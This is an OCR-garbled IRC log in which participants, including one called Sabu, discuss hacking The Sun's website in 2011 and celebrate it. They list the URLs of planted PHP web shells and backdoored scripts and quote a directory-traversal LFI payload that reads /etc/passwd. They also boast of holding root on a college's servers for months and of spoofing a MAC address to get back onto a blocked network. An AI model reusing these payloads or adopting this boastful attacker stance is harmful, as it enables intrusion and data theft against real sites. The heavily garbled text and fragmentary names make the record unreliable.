once this settles l will get back to work on #voice <3 
got about 20 people hanging in email conversations for 

one ^^^^^1 

IS Lu lzSec active again now, or was that just a once off 
antisec t shirt? 
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00:20 <M^H 
00:20 <<Sm^M 



00:20 < 
00:20 < 

00:20 < 

and something goo 
00:22 <■ 



Title: White T-shirt > AntiSec (at www.cafepress.com) 

Its almost universaly positive 



I would say leave it at that, 
to be remembered for 
or lulzsec should appear just for special events 

agreed 
so it keeps its magic 

special events, if we find something really good. Antisec is 

perfect for everything else. 

being the elusive, magical hacking group that pops up to destroy 



00:22 < 
00:23 < 
00:23 < 




00:23 
00:23 



00:23 < _ 

special events 
00:23 <' 

<| 
<| 

:23 <' 
00:24 <' 
00:24 <' 
00:24 <' 
00:24 
limit 
00:26 
00:26 




the boat that surfaces again and again 
from the mist 

Let Lulzsec has an almost mythical status 
agreed fully 

we are already infamous in the eyes of all media 
we are already going down in history 

D So guys big meetup at defcon34 once the statute of 
p 



<3 

this was great fun 
~ It was 1 ndeed ! ! 

Anyways good night everyone! 

nite nite n_n 

nighty nighty ^^^^^^ <3 

nn 

fetches a cup of tea and snack 
relax time 
i 1 1 smoke a p2 

Got to get up early for the start of my vacation tomorrow, who 

hTdden iframe could take down 1024 IP and an entire corperate 

1 

looks like twitter is back up 
http : //www . youtube . com/watch?v=DG7lURg ry j A 

The Louise Boat 
ah damn 
too many i rcz 
^^^^H got a sec? 

sur^tni ng 

00:42 _ 

http : //money . cnn . com/2011/07/18/technol ogy/mu rdoch_sun_hacked/i ndex . htm?i i d=Popul 
ar 

00:43 

quit [user quit 
00:43 <<i 
00:43 
00:45 
00:47 
00:47 
00:47 
00:47 < 
00:47 < 
00:47 < 
00:47 < 
00:48 < 
00:48 < 
00:48 < 
00:48 < 





^Jkerpi a-F44DBAl2 . f ckh8 . 1 ssnts . s-andreas . gi ganode . net] has 
Lost terminal] 

http://twitter.eom/#l/jamesrbuk/status/93116612063936512 
lol if only we actually found a password 

[^^^^^^^^^^^^^^^1 has quit [Connection reset by peer] 

garf 

can ask as well here 
travel plan? 

apparently you cant really get away from it 

1 i ke me 

heh 

you told me a while ago you might just travel for a while 
i thnk you dont :x 



bribery, 



h u 

SubinaBegum; 
deceit, political 



RT @Azari nisard : Phone #hacking, convictions, 
intrigue, arrests, inquests, death, #Anonymous. 
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#! sunnydays .log 
#Hackgatecould become a great film. 



00:48 < 
00:48 < 
00:52 <i_ 
i nstantly 

00:52 <' 
by 
00 

00:58 
00:58 < 
01:00 < 
01:05 
joi nec^^ 
01:13 < 
01:13 < 
01:13 < 
01:17 < 
01:23 < 





yar, we'll take over the world 

working on it! 

I still have plans, I just don't have the money to do it 

also does anyone have a link to Lulz of the world (second) comic 

lol 



i forgot can u add the twt account i use sometimes? 
anon/^060 

so if it worths i can start testing my ^^^gxmpp 
^^^|kerpi a-F44DBAl2 . f ckh8 . 1 ssnts . s-anareasTgi ganode . net] has 
sunnydays 
D 

e one awake xD 
sure awake 



m. 



hows things :D? 




01:32 
01:34 
01:38 
01:38 
01:40 
01:43 
01:44 
01:44 
01:44 
02:03 
http: 
718 
02:17 
02:17 
02:17 
02:17 
02:17 
02:42 
02:49 
02:50 
02:50 
02:50 
03:00 
quit 
03:48 
04:21 
04:21 
04:21 
04:21 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:22 
04:23 
04:23 
04:24 
04:24 
04:24 
04:24 
04:25 





User qui 
<@Sabu> 




we have 0 twitter followers? 

oh, everyone does 

u> i m back shitty sitution 
u> started raining 

hi Sabu, you know of any working AnonOps IPs? 

u> let me see broham 
hahahahah 

in revenge for coverage of... 

XD 

reuters . com/arti cl e/2011/07/18/newscorp-sun-hackers-i dUSL6E7ll2TR20110 

sorry 

DAMNIT 

someone give me a shell 
where i can jut conect tog evereything 
paranoid ppl :( 
u can or cant? 
ah 

too comlicated my setup 
heh 
cant 

kerpi a-F44DBAl2 . f ckh8 . 1 ssnts . s-andreas . gi ganode . net] has 

t: Lost terminal] 
yo yo 
Sabu: 
meh 
sup brother 
a 

WTF is :kb? 
whats wrong broscope? 
jkb? 

yes on anonops 
joseph k black? 
yar 

the troll thats on our side? 
i had 

a 

weird query 
lulz 

what did he say? 
nah 

you owe me some background first 

rly 

WTF 

lol 

eh 
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# lsunnydays.log 
04:25 <@Sabu> you're confusing me broham 



04:25 
04:25 




04:25 <®Sabu> 



its all harmless, dancing around the honey 
okay ill show you lol 
> lust paste me what hes saying and I can epxlain it 
04:25 <(asabu> but 

04:25 <@Sabu> he hit me up one day saying btw its obvious we're trolling jester 
04:25 <(asabu> and mocking him 



04:25 <(asabu> im like yeah 
04:25 <(asabu> cool thx 
04:26 < 

<| 
<| 

04:26 < 
04:26 <' 

<| 



04:26 
04:26 



04:26 
05:08 



07:56 < 




oh 

i cant 
heh 

baclog limitsed 



but 

end was 



e redirections 



wo 



for man y Sun visi tors to reach the real site as intended. 
07:56 <(£|^^^^g XSS protection? :P 
08:10 <@Sabu> noscript 
08:27 <@Sabu> http://imgur.com/AAiqw 

^^^^^l^^g has joined #!sunnydays 
sunnyaay^^^ by ChanServ 

than :D ^^Bg^^Tis on a shopping 



has quit [Ping timeout] 
nTconsi stently , making it possible 



08:29 
08:29 




raining here. 



spree, so /me has some time! 
I paid for hot and sunny weather, not for rain 



08:36 
08:36 
08:36 
08:44 



mmm, Sabu 

how was the redirect carried out? 
_ in the end? 

y overwriting a file being included by thesun.co.uk 
08:44 < @Sabu> wit h a redirect to a url 
08:44 <^^^^^H t)ut not that i frame then, right? 
08:45 <(£^^^^^H the breakingnews.html thing 

08:48 <@Sabu> yes 
08:48 <@Sabu> why? 

because then it wasn't just in noscript 
a redirect from the frame didnt work in chromium 
XSS protection 

we ran some tests and the frame was not able to access the 
romi urn 

or even the location 

might have been different in other browsers 
but that would explain why the behaviour was inconsistent :P 

(chrome has been getting rather secure lately... it now also 

SS attacks, aka it will refuse to run code that is in a GET or POST 



08:51 < 
08:51 < 
08:51 
08:52 




parent page in 
08:52 <■ 
08:52 < 
08:52 < 
08:52 <i 
detects 
request) 
08 ' ■ 
08 




08:57 
08:57 
08:57 
blah 
08:57 
08:57 
08:57 
either 
09:00 



53 <(asabu> it wasnt a xss though 
53 <@Sabu> it was a simple html redirect 




html redi rect? 
1 i ke , how? 
I believe 



was planning on parent.window. location = 



and that doesnt work 
because of xss protection 

I believe meta refresh for other frames does not work anymore 



_______ ooooooooooooooooooooooooooooooooooooooooooooooooooooooong.cat] has quit 

Ping timeout] 

agh lol 
so 

guys 

need a bit of advice, 
just woke up with my face on the keyboard 

we just found out that ED is blacklisted 'behind the scenes' by 



09:16 <' 
09:16 < 
09:16 < 
09:16 < 
09:17 < 
09:17 <' 




a lot of hosting providers 



09:17 



and even Level 3 
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#! sunnydays .log 
due to death threats and harrassment issued by 
and his personal army 
wat do? 

except for taking out 



which is obviously being 



09:17 <S 
09:17 <G 
09:17 <g 
09:17 <(i_ 
worked on 
09:24 <(i 
09:24 <G 
<G 

10:22 <(( 
10:24 <<i_ 
browser) 
10:24 <(! 
10:24 <G 
10:24 <C< 

http : //f ootbal 1 extras . ti mesonl i ne . co . uk/pl ayerstats beto_marci co . php 



09:26 
10:22 




ahhahahaha 

there are 666 articles in google news 
_ lol 

are the servers down? thesun ones 
i mean where we put the shells 

can u check that? (i m lazy to get 



a tunneled and laggish xll 



http : //extras . thesun . co . uk/wordpress/footer2b . php 
http : //www. newsg roupdi gi tal . com/i mages/utf 8 . php 



http : //www . new-ti mes . co . uk/utf 8 . php 
l^gj^^^^^^M has quit [Ping timeout] 
inramou^pranKtivi St hackers LulzSec 

AAlol 

al so 

the register has the howto 
is shahaha 
read this 
Bootnote 

* ^^^p^H is part of the platinum group metals and is used in 

dentistry, medicin^^iyarogen purification, chemical applications and groundwater 
treatment. Reg reader Frederic Bloggs suggests it may have been mistaken by the 



10:24 
10:28 
10:28 
10:28 
10:28 < 
10:28 < 
10:31 
10:31 
10:31 
10:31 




hackers for polonium, the radioactive 



death of ex-KGB turncoat Alexander Litvinenh 



of which was responsible for the 



10:31 <^^^^H probably someone must email them to clearify we r not dumb, adn 

that was a reference to a nick 

4b27001e.b8C70a02.3978755b.ip] has joined 



10:48 H 
nvaa\ 



#! sunnydays 




mode/#! sunnydays [+o 
hai 



by ChanServ 



rofl 

also hai 
:D 
I lold 

i was havnig a lil vps © santrex 

so they mailed me with the login details 

but it only timed out and my account was deleted 

so i was like "uhhhh time-out much?" 

and then went "thats because your accountw as deleted due to 

... just mailed them back 
"aw shit." 

But there goes my lil shell D: 

was looking at santex to get some vps 
^■g^l any suggestion? 
ookTng too at dataclub.biz 

I just want a shell to run psybnc from XD 

well and a vpn 

someone has a free spot on a box? : ( 
santrex 

i s 

crap 

the only reason to host there would be that they generally 
what you put on your box 

A 

it's like heihachi but worse :1 

and the cheapness + amount of countries imho 

meh 

SABU 
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11:19 
11:20 
11:20 
11:20 
11:20 
(both 
(hetzner) 

11:21 < 

the fuck you 




11: 


;21 


<i 


11: 


;21 


<i 


11: 


;21 


<i 


11: 


;22 


<i 


11: 


:22 


<i 


11: 


;22 


<( 


out an 1 


11: 


;22 


<( 


down ti mi 


11: 


;22 


<i 


11: 


;22 




11: 


;23 




11: 


;27 




11: 


;27 




ti meson 


11: 


;27 


<i 


12: 


;09 


<i 


12: 


;14 


<i 


12: 


;14 




12: 


;18 




12: 


;18 




12: 


;19 


<i 


12: 


;27 




12: 


;45 




12: 


;45 


< 


12: 


;46 


< 


12: 


:47 


<i 


12: 


:47 


<i 


12: 


;47 


<i 


12: 


;47 


<i 


12: 


;47 


< 


12: 


;47 


< 


12: 


;47 


<i 


12: 


;47 


<i 


12: 


;47 


<i 


12: 


;47 


< 


12: 


;47 




12: 


;47 


< 


12: 


;47 




12: 


;47 




12: 


;48 


< 


12: 


;48 


< 


12: 


;48 




forces . 


12: 


:48 


< 


12: 


;49 


< 


Fianna 


12: 


;49 




12: 


;49 




12: 


:49 




style, 




12: 


;49 


<i 


12: 


;50 


<i 


12: 


;50 




12: 


;50 




Fi anna 


12: 


;50 


<i 


12: 


;50 


<( 



# lsunnydays.log 
wake up a nd gimme access to a vps :( 
I^^^B it isn't THAT cheap 
^^yoL^ompare it to some other hosts 

for just the cheapness you wouldnt be hosting with santrex :P 
for legal purposes, I'd recommend ramhost btw. . . they have US 
eservers in phoenix, and some DC in atlanta) and germany 

but they're not offshore in the sense that you can do whatever 

want 

although they are relaxed in terms of free speech stuff :P 
yeah i know, ive had legal other stuff @ ramhost 

kind of like them 

ok i 11 check ramhost 
I <3 them 

only host I've ever used that, after there are issues, sends 
all affected customers on their own without having to ask 
and refunds all affected customers in case of considerable 
out having to ask 

*if* shit goes wrong they're always willing to fix it 
: P 

but yeah i hope sabu just has a lil shell somewhere 

hm 

byuos> hey thought you might like this http://byuos.com/times - 

paywall broken (i did it a few weeks ago but it went largely 

We still good with parmy? 
1 guess 
why? 

has joined #!sunnydays 

sunnydays L+o ^^^^^ by ChanServ 
wheres that secon^comic? :p 
ah got it 

[^■^^^^^^B has joined #! sunnydays 

He^ie^^^^^^^ 

hows the operation going? 






lunno just on 

loi mm^m 

im tam^i^to parmy 
whar? 
Chan here? 

and she was talking about fine gael 

anyone checked the server today? 
nah query 

- send her here 
an^vnen you guys did Fine Gael 

Aaaaah 

she spoke to a fine gael spokesman 
yknow what he said? 
what did he say? 
lol 

_ <^^gH And he was kind of hinting that there were powerful 
Eg .l^^n government / rival political parties. Sigh. 

LOL 

_ Yeah, there had been some amount of speculation that maybe 
paid some hackers to do it 
lol they changed now the www.new-times.co.uk 
lol 

even lulzier was how lots of ppl knew instantly it was my 

congratulated me in person. 

we make them rediscover that forgotten site 
lol pwn 
Yes H^^^B 

Year^tnere had been some amount of speculation that maybe 

1 had paid some hackers to do it 
Lol 
XD 
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#! sunnydays .log 
you guys are just Irish gov contractors! 

shit, now they know me and ■■■■i work for G-2 :( 
you know G-2 has a budget o^^^i^^non euros a year? 
cheapest secret service in the world I think 
I bet 500,000 of it is spent on tea and biscuits xD 

(G-2 is the "military intelligence" service of my country, they 

and they do fuck all lol 

guys 

need a host 

that does not suspend a site when he gets death threats 

from people who are against that site 

tl;dr bulletproof in a rather literal sense 

i havent had experience with death threats to my hosts yet 



13:00 <' 



we have, now 

ED is now blacklisted at a 



upstreams including Levels and HE 



shitton of datacenters, and even 




due to this 
behind the scenes 

I'm already working on the person responsible for it 
but it may take a while 
and we still need hosting in the meantime 
could always talk to cbSrob and be his cutieboy? :p 

rofl 

ey hey 

;) 

o you like i tali an girls? :> 
indeed I do! 



13:00 < 
13:00 < 
13:01 < 
13:01 < 
13:01 < 
13:02 < 
13:02 < 
13:20 
13:21 
13:21 
13:21 
13:21 
13:22 

13:23 < 

(same with Eastern Europeans) 




IDK why, but Italian/Spanish are just goddamn amazing 



-acebook, on some guys status 



13:24 <^^^| i know, i know :> 

13:25 ■■mode/*! sunnydays [+o 

13:26 <^^|^^^H Having an epic arguement on 
message, about the effectiveness of honeypots 
13:46 < g^M^^g Oh lord 
13:46 <^^^^^^B this guy is an idiot 

13:46 <^^H^^H he does not understand that NAT pinning and XXXSS can allow one 
to bypa ss acl and such on a router... 

13:46 <<S^^^^m (XXXSS is taken form the "how I met your girlfriend" at DEFCON 
18) 

14: 31 <@Sabu> yo 

14: 31 <@Sabu> guys 

hey Sabu 

got some news for you, re: GWEE rebuild 
seems that the i tali an leaker is fake 
i mean., seems a journalist., political supporter 
and all documentation out is fake 

or., i mean not fake, but anyway really old and public 
Sabu> ok 

anyway no mail reply for now 



14:33 
14:33 




14:37 < 
14:38 
14:38 
14:38 
14:40 
14:40 
14:41 
14:48 
14:48 
14:48 
14:49 <' 
14:49 <' 
14 : 49 < 
14:51 <(asabu> sex 
14: 51 <(asabu> yo 
14:51 <■ 




hmmmm 

F-Secure like to DM me 
but I cannot DM back 

lolol 

they have to follow you I believe 
or the other way around 




14:51 < 

14:52 < @Sabu> goo d 
14:53 <(S^^^^m Sabu 



yo Sabu 
whatsup? 



you freak 



currently talking to my favourite developer about the 
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GWEE rebuild 

14:53 <@Sabu> gwee is great shit 



#! sunnydays .log 




im hoping to include the SQL injection "into Outfile" method - 
only target CGI-BIN abuses 
so we are gonna make it more powerful than before, and use 

payl cads 

add in a GUI frontend, web spider, fuzzing engine... and I 
think we will have something real nice based on something that was already 

awesome :) 



14:54 < 
GWEE seems 
14:54 

MetaSploit 
14:54 <■ 



14: 
joi ne 
14:57 



14; 

14; 

14; 

14; 

14; 

14; 

14; 

14; 

14; 

14; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

my 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 

15; 




57 
57 
57 
57 
57 
57 
59 
59 
59 
59 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
00 
C&C 
00 
01 
01 
01 
01 
01 
01 
02 
02 
02 
02 
02 
02 
02 
02 
02 
03 
03 
03 
03 
03 
04 
04 
04 
04 
04 
05 
05 
05 
05 
05 
05 
05 
05 



|kerpi a-F44DBAl2 . f ckh8 . 1 ssnts . s-andreas . gi ganode . net] has 

! sunnydays 
:D 

thesun is back online xD 
are the shells still there? 

XD 

Heya 



111 check have I backdoor axx 

shite, my servers down 
forgot to pay the bills 

XD 

U> KAYKAYKY 

what were the links to the shells? 
hey sabu :D 
*hugs* 
u> sup miss<3 
* Sabu hugs back 
<@Sabu> http : //abcnews . go . com/Pol i ti cs/vi deo/1 i ve-news-6105570 
<@sabu> that ruport murdoch hearing 
<@Sabu> IS 
<(asabu> win 

< @Sabu> FUC K YES 

<^^^^^^H - dont have the Isit on me, I was using a POST shell from 



thesun? 

backup so most likely yes 



FBI are failing hard 

just want you guys to know im still here 



<W^M Sabu are the php shells still on 
<@Sam!i> they brought the site up from a 
<@Sabu> but I dont have the php shells 
<@Sabu> and got no logs :[ 

< wtf xD why do they all h ave bottles of vodka near them xD 

<@SaDu> gotta ait for H^^^^^ or 
<©Sabu> you the re r^^^^^^ 

<W^M h^^; not in here 

<@SaDu> yes he is but in wrong channel #sunnydays 
<@Sabu> by himself 

<@Sabu> btw did you see news? raids across the united states today 
< @Sabu> the fbi is going hard 

<W^S^^M the 

<(asabu> Tm s af e 
< @Sabu> etc 
<^||^^^P^B good 

mode/#! sunnydays [+o 
clings on to sabu :3 
<@Sa5u> <3 
<<S^m <33333 
<@SaBu> <33333333333333 
<@Sabu> 

<@Sabu> tnese twitter faggots are doxing you as 
< @Sabu > please tell me thats not correct? 
<^^Mlooks legit :3 
<(£H^^^H srs 0_0 
<^^^^^| ? 
<(asabu> wait 
<@Sabu> . . 
<^^| no lol xD 
<@SaDu> oh jesus christ 
<@Sabu> you almost made me fucking 
<@Sabu> throw my laptop across the fucking room 
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within walking distance of me? 



#! sunnydays .log 

Imao 

my name i s 

not some 

stn 

asabu> justTe safe 

where is birmingham in the US? 
alabama 

and theres a birmingham in the UK too 

they 

waaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
aaay off 

15:07 <@Sabu> no they saying birmingham in uk 

hmmmm, well birminghlm in the UK is fucking HUGE 



15:06 < 
15:06 < 
15:06 < 
15:06 
15:06 
15:07 <' 
15:07 <' 
15:07 < 
15:07 < 




there 

"rom xD? 



15:07 <' 
15:08 <' 
15:08 < 
15:08 < 
15:08 < 
15:08 < 
15:09 < 
15:11 < 
15:11 < 
15:11 < 
15:12 H 
15:12 "amiF 
15:12 <^|p 1ol 
15:13 <(3SaDu> and ret said you were from birmingham 
15:13 <@Sabu> in #phrack 




theres likely 30 _ 

where did they even pu 
who's saying it? 
fakegreghoush? 

XD 

probably someone called 
u who is saying im 
imma brb, 5 mins 
just relocating 



1 can laug 



: P 

em xD? 



has quit [User quit: relocating...] 



lol i 've not lived in the UK since i was 12 
i've lived all over the world 
abu> <3 
15:18 <(asabu> ok 

15:19 <@Sabu> so we're all good then 



15:15 < 
15:15 < 
15:18 < 




15:19 
15:21 
15:21 
15:21 
15:22 <^ 
15:22 <^ 
15:22 
15:22 
15:22 <(! 
15:22 <G 
15:23 
15:23 
15:23 




has joined #! sunnydays 
by ChanServ 



mode/* ! sunnydays 
hey 

did i miss something? 
'hey <3 
hey \o7 

thesun is back up :D do you have the links to the shells? 
maybe they're still there :D? 

yeah 

http : //extras . thesun . co . uk/wordpress/footer2b . php 
http : //www . newsg roupdi gi tal . com/i mages/utf 8 . php 



http]//footbal 1 extras . ti mesonl i ne . co . uk/pl ayerstats beto_marci co . php 

http://www.new-times.co.uk/utf8.php 
but there also backdoored .php's 
but i dont no the names 
yeh those 4 dont seem to work 
be lulz if one is still backdoored 




15:26 <@Sabu> sup 



15:26 <^^^H nothm much 

15:26 <<^^M and there? 

15:26 <@Sabu> good, fbi raids across the u.s.a. 
15:26 <@Sabu> you good? 
15:27 <@Sabu> kk 

15:27 <(£^^2 i 'm not usa ;) 

15:27 <©SaDu> ok brother 

15:27 <@Sabu> im talking to all my people just to make sure 
15:28 ' 
15:28 
15:28 
15:29 
15:29 
15:30 




yeah 

do we know anything yet? 

[^B^^^^^^g has joined #! sunnydays 

hiagem^^^^^ 

sup 

hey 
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# lsunnydays.log 

15:30 <(c^^Hwelcome back :D 

15:30 < ^^^l^M ^0^1 now that they rebooted 

15:30 < ^^MW^B rec kon root-wrap ran? 

15:30 <^^| ^^^^H the shells dont work but apparently there is some 
backdoore^php script? 

15:30 < ■■■■ Aye, l11 ask BH^^^ about it 

15:30 < ^^H^^H he backdoorec^rmTg^^ 

15:30 < ^^^^^M POST backdoor is gone tho :( 

15:30 <^^^^^^| I checked there with weevely 
15:30 <(c^^|what was the orrigionai LFI? 
15:30 < _^^^^ M uhm, I dont have it ATM 
15:31 <^^^H the Ifi is patched by us 
15:31 <^^^H "was 

15:31 <^^^B~ahh but they seem to have restored from a backup 
15:31 < g^^fc but they could have done a complete restore 

15:31 <^^^rso i wonder if they put the vuln script back on there too 
15:31 < g^^h AA that would be epic 

15:31 <(c ^^g anyo ne know what the URL of the LFI was so i can check? 

15:32 < i dont have it ATM :( 

15:32 <^^^Hsabu should have it 

15:32 <^^^H since someone reported it to him also 

15:32 <^^P| after we found it 

15:36 < @Sabu > hi pwn 

15:36 <^^| sabu do you remember thesun LFI? 

15:36 <@SaDu> I dont have it 

15:36 <@Sabu> but^^^^B should 

15:36 <@Sabu> ^^^^^^^an you holla at ihm? 

15:36 <(asabu> mm? 

15:36 <@Sabu> wait 

15 : 36 < @Sabu> one sec 

15:37 < ^^^^^B text him inasec 

<@Sabu> ^^HHi^^^H^^^H 
15:37 <(asabu> btwtnatTmagen^^^^^^ 
15:37 <@Sabu> got owned by tsao/storm 
15:37 <@Sabu> he's going to be sending me mails shortly 
15:38 <@Sabu> hopefully we get some insider info 
15:38 <@Sabu> 

http://extras. thesun. CO. uk/php/quiz/index.php?fn=. ./. ./. ./. ./. ./. ./. ./. ./. ./. ./ 

/../.. /etc/passwd%00 

15:38 <@Sabu> is that it 

15:38 < ^^^^H that be it 

15:38 <g^Sidk sabu aa 

15:38 <^^^Hprobably 

15:38 <^^H^H it is 

15:39 <^^^B doesn't seem to work :/ 

15:39 <^^H ^ 

15:39 ohwell :( 

15:39 <(3SaDu> they must have scoured the LFI 
15:40 <(asabu> err 
15:40 <@Sabu> access logs 
15:40 <^^^^H Sabu 
15:40 <W^^^^M ^^'^ ^ ^^'^ 
15:40 <@SaDu^you know you can brother 
15:40 <@Sabu> go ahead 



15:41 <^^H HOW DARE YOU PM SABU ! 1 
15:41 <d^M xD 
15:41 < H^HH lol 

15:43 <g ^Blu1 z 

15:43 <^^^H^H remember when ^^^^g bot doxed him? 

15:43 <S^^H btw any progress on operation loooo[. . .]ng.cat ? 
15:43 < ^^^^m we11 

15:43 <^^^^HH H^^^H registered looooooo. . . .ng.cat 
15:44 < ^^^^ rea lT^^^^^ 
15:44 < ^^^^^B yep 



15:44 < ^^^^^H think so 

15:44 < g^M \o/ 
15:44 <^^^^^^H srsly 
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15: 


:44 


<i 


15; 


:45 




15; 


:46 


< 


15; 


:47 


<i 


15; 
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:47 
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:47 
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15; 


:47 


<i 


15; 


:47 


<i 


15; 


:48 


<i 


15; 


:48 


<i 


15; 


:48 


<i 


15; 


:48 


<i 


15; 


:48 


<i 


15; 


:50 


< 


15; 


:50 


< 


15; 


:50 


< 


15; 


:53 




15; 


:54 


< 


15; 


:54 


< 


15; 


:55 


< 


15; 


:59 





lulz 



#! sunnydays .log 





i wonder will any of it be in Catalan? 
It has to be 

or they will pull the domain 

A 

wel 1 

i t was 1 i ke 

publish 1 page in Catalan 
every 6 months 

to get round it you just have to have a Catalan translation of the 

or some shit 
lol 

so he reg'df it then :D? 
full size allowed? 

need to make sure no one else can make a bigger loooong.cat 

heh 

not sure HOW big he regged it 

but ti was big 
l<Ttteh: 3 

<3 kitteh 

I miss my kitteh/. . . . 
ill next see my kitteh in... 2 hours 



:) 



LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO 
000000000000000000000000000000000000000000000000000000000000000000000000000000000 
000000000000000000000000000000000000000000000000000000000000000000000000000000000 
000000000000000000000000000000000000000000000000000000000000000000000000000000000 
000000000000000000000000000000000000000000000000000000000000000000000000000000000 
000000000000000000000 
16:00 <g ^^ the fuk 
16:00 < ^^^^^B imma go 
16:00 < ^H^^^S^want buy a book :) 

16:00 ^p^^^^B [^^^^^^^^^B has quit [User quit: 
16:07 

16:12 <(asabu> ;] 
16:12 <@Sabu> win 6 
16:30 
16:30 ~ 
16:30 _ 
timeout 
16:31 
16:33 
16:33 
16:33 




Leavi ng] 



[^kerpi a-A87C441.perfect-privacy.com] has joined #! sunnydays 

4B27001E.B8C70a02.3978755b.IP] has quit [Ping 

has quit [Ping timeout] 
1. perfect-privacy. com] has quit [User quit: ] 
has joined #! sunnydays 
by ChanServ 



16:33 <(asabu> 
16:39 < 



typo out my windows etc 

ahh :D 

17:01 <(dsabu> <3 
17:37 iP _ 
#! sunnydays 

17:37 mode/#! sunnydays [+o 




17:37 < 
17:45 H _ 
#! sunnydays 
17:45 * points 

17:45 "_ 

[input/output error] 



kerpia-FBCDF7B6.ae-static.anteldata.net.uy] has joined 
by ChanServ 



wheres sabu 

kerpia-49E3El71.gigabit.perfect-privacy.com] has joined 



|kerpia-49E3El71. gigabit. perfect-privacy. com] has quit 



17:45 _ 
#! sunnydays 
17:46 



[input 
17:46 m 
nyda\ 




|kerpia-49E3El71. gigabit. perfect-privacy. com] has joined 



I [Bkerpia-49E3El71.gigabit.perfect-privacy.com] has quit 

Jtput error] 

I [Jpkerpia-49E3El71.gigabit.perfect-privacy.com] has joined 

#! sunny3ays 

17:46 <^^^^^^H jesus Christ 
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n ng 



17:46 
17:46 
quit: 
17:46 
17:46 
17:48 
17:50 
17:59 
18:03 
18:03 <@Sabu> 
18:05 
18:05 
18:05 
18:05 
18:05 
18:05 
are sen 
18:05 < 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
18:06 
18:07 
18:07 
18:07 
18:07 
18:07 
18:07 
18:07 
18:08 
or throw' 
18:08 <' 
find alT 
18:08 < 
18:08 < 
18:09 < 
18:09 < 
18:09 < 
cards, 
18:10 < 
18:10 
18:10 
18:10 
18:10 
18:10 
18:11 
duo I 
18:12 
18:12 
18:12 <' 
18:12 < 

18:14 < 

and he rea 
18:14 < 
18:15 < _ 
vani shi n'g 

18:15 < 

18:15 <©Sabu> 
18:16 < 
18:16 < 
18:16 < 
things 
18:17 < 



#!sunnydays.log 

erpia-49E3El71.gigabit.perfect-privacy.com] has quit [User 

has quit [Ping timeout] 

BT^is ~$13 ;_; it will never go back to $31 '_' 
http : //www. youtube . com/watch?v=fzxkT-ewsaM 



here 



has joined #!sunnydays 
news today : C 



1 n 




hey : D 

I got bad 

what? 

what bad news? 

my family is fucking off to France 

my kitteh to a cattery for the duration 
u ok? 

I know she will be sad there 

can't you look after the cat xD? 
poor kitteh : ( 

... they wont let me stay in the house alone lol 
they think ill throw a massive party 
so where are you going to live xD? 
Grandmothers house 



a day or so... ANd they 



be put to some use 
live at home 



... they no haz internet 

does she have internets? 

LOL 

owned 
:D 

neighbours do, and my Aetheros card will 
should just tell your parents you want to 
eh, they dont trust me with the house :/ 

they are almost certain I will either burn it down, blow it up, 
party xD 

if my dad ever said tht to me he'd come home from work one day to 
stuff on the garden and the locks changed :3 

XD 

it's my house :3 
my dad just pays for it 

xD but really its yours :p 

I think I must catnap my kitteh, and pack both my aetheros 
cantenna, and just in case, that USB dial up modem 
lol 

you dont have your own key for the house? 

Oddly enough, I dont! 

u> pwn you sexy baastard<# 

lol my dads lucky i let him have a key 

XD 

Though I DO have some very nice lockpicks, but my good bogota 
rug addicted friend, he prolly sold them for drugs by now :( 






to a 
<@Sabu> lol 

< 




your parents seem really stricy :s 
strict* 

- moreso, a total lack of trust 
yeh mydad doesn't really tust me but he knows ill do what i want 
y has no say in it 
he doesn't even bother to tell me not to do things 

Mine are beginning to get the idea that someday soon I will be 

own plans :) 

yes Sabu? 
Sabu> are you ok? 

Pissed off, yeah, and a tad worried about a whole shitload of 





someone made 



a bad decision, used a 
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touch" domain 

18:17 < 

hacking them 
18:17 < 
18:18 < 
18:18 < 



nearest hacker they can 



# lsunnydays.log 

as in, from the institution that nearly had me put in jail for 

so I have a slight bit of worry that 2+2=5 

according to my calculator it doesn't :3 

you know, faculty members paypal gets raped, they blame the 



18:18 < 
18:18 < 
18:18 <' 
18:19 < 




I think the IT staff there's calculator thinks 2+2=22 :P 

nah, evidence is everything 
in a court of law 

aye, they have proof I pwned them fairly hard, and sat as root 



on their servers for months 



thats like saying one murderer is responsible for every murder ever 
they CANNOT prove I stole any money (I did not steal any money) 
I hope the person stolen from just blames it on malware... 
if you had root then they secured their things and got owned again 
ault 

if they take you to court threaten to sue for defamation 
and if they threaten you with the old evidence it's actually a crime 



18:19 < 
18:19 < 
18:19 < 
18:20 < _ 
thts then r 
18:20 < 
18:20 <' 

not to report a crime in due tiume so they screw themselfs 




18:21 < 



is their idea of securing. 



they changed the admin pass from admin to adminl23. THat 




pwn ... no good man 

I have more than enough dox from the first time to cause epic 

as in, proof their staff are negligent - criminally negligent. 



18:21 <@Sabu> 
18:21 < _ 
job losses 
18:21 < 
etc 

18:22 < 



(essentially, a care package of infodox and dataloss that they 

covered up for th e data protetion commissioner IF they try fuck me) 
18:22 < ■PH^^I what set me paranoid was my MAC was blocked from the LAN today, 
so I spoofed it and was able to con ect under my normal account 
18:23 <(asabu> send release to and if you get arrested for it we'll expose 

them for you 

will do, it is on my desktop 

111 send it to you and the place to send it to 

how did they catch you before and what did they say/do? 
Before, i made an amateur mistake 

I SSH-ed in on the LAN, while my computer was logged in as me 



18:23 
18:23 




18:24 < 

on the wi Fi 
18:24 < 
18:24 
18:24 
18:24 
18:25 
about 
18:25 
18:26 < 
cl eaned 
18:26 < 
18:27 < 




-i key.txt 



ssh 

and then bam 

phonecalls, a week of meetings and lack of sleep 
that was right before my exams 

in the end they agreed that it was best for them to "forget" 



It was the most simple mistake, I just wanted to make sure I 
up some files I hid there 

what kind of negligence did you uncover xD? 

well well well... First off, the seceratary for the engineering 

department, Jane Bowman, had a nasty habit of "accidentally" mass-mailing student 
personal infodox to everyone 

then using the colleges email web app, baleeting the evidence 
